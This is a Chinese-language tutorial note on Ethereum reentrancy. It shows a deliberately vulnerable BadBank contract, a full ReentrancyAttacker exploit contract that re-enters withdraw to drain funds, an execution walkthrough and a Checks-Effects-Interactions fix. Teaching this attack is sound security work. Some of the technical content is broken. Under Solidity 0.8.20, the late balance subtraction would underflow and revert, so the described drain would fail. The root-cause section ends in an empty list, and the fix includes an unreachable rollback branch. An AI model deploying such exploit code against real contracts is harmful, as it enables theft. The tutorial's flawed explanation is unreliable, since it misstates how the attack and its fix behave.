EVM学习笔记(三):重入攻击

EVM的“直觉级”漏洞:重入攻击

引言:当理论变成代码的“直觉”

在Solidity开发中,理解EVM的执行机制至关重要。本文通过两个核心案例——重入攻击和代理合约漏洞,以"先复现攻击→再原理分析→最后修复"的方式,帮助开发者建立对EVM安全机制的深层认知。这种认知不是抽象概念,而是通过实际代码执行路径形成的"肌肉记忆"。

重入攻击全解析

1.1 漏洞合约构建

我们首先构建一个存在重入漏洞的Bank合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract BadBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "Insufficient balance");

        // 危险操作:先执行外部调用
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "Transfer failed");

        // 状态更新滞后
        balances[msg.sender] -= amount;
    }
}

关键漏洞点:在状态更新(balances修改)之前执行了外部调用(call),这为重入攻击创造了条件。

1.2 攻击合约实现

攻击者通过递归调用实现资金盗取:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IBadBank {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}

contract ReentrancyAttacker {
    IBadBank public bank;
    uint256 public attackAmount;

    constructor(address _bank) {
        bank = IBadBank(_bank);
    }

    function attack() external payable {
        require(msg.value > 0, "Need ETH to attack");
        attackAmount = msg.value;
        
        bank.deposit{value: msg.value}();
        bank.withdraw(attackAmount);
    }

    // 关键回调函数
    receive() external payable {
        if (address(bank).balance >= attackAmount) {
            bank.withdraw(attackAmount);
        }
    }
}

1.3 攻击执行流程(EVM视角)

  1. 初始状态:Bank合约余额=10 ETH,攻击者存入1 ETH

  2. 第一次withdraw

    • 余额检查通过(1 >= 1)
    • 执行call向攻击者转账(控制权转移)
    • 攻击者合约的receive()被触发
  3. 递归调用

    • receive()中再次调用withdraw
    • 由于状态尚未更新,余额检查仍通过
    • 重复转账过程直到Bank余额耗尽

1.4 根本原因分析

EVM的同步调用栈模型允许:

这种设计使得EVM只保证代码执行顺序,而不关心业务逻辑的安全性。开发者必须自行实现状态保护机制。

1.5 安全修复方案

采用CEI(Checks-Effects-Interactions)模式:

function safeWithdraw(uint256 amount) external {
    require(balances[msg.sender] >= amount, "Insufficient balance");
    
    // 1. 状态修改(Effect)
    uint256 balanceBefore = balances[msg.sender];
    balances[msg.sender] -= amount;
    
    // 2. 外部调用(Interaction)
    (bool ok, ) = msg.sender.call{value: amount}("");
    require(ok, "Transfer failed");
    
    // 3. 异常处理(可选)
    if (!ok) {
        balances[msg.sender] = balanceBefore;
    }
}